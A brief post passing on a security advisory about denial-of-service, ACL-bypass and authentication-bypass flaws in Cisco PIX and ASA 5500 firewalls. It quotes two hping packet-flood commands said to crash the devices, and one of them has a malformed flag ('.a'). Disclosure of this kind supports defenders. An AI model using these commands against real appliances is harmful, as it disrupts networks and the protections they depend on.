Some fairly critical issues disclosed on a very popular security product.
Cisco PIX Security Appliance and ASA 5500 Series Adaptive Security Appliance are prone to multiple denial-of-service vulnerabilities, an ACL-bypass vulnerability, and an authentication-bypass vulnerability.
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An attacker can use readily available network utilities to exploit these issues.
The following example data is sufficient to exploit the denial-of-service issue affecting PIX and ASA:
/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2
/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2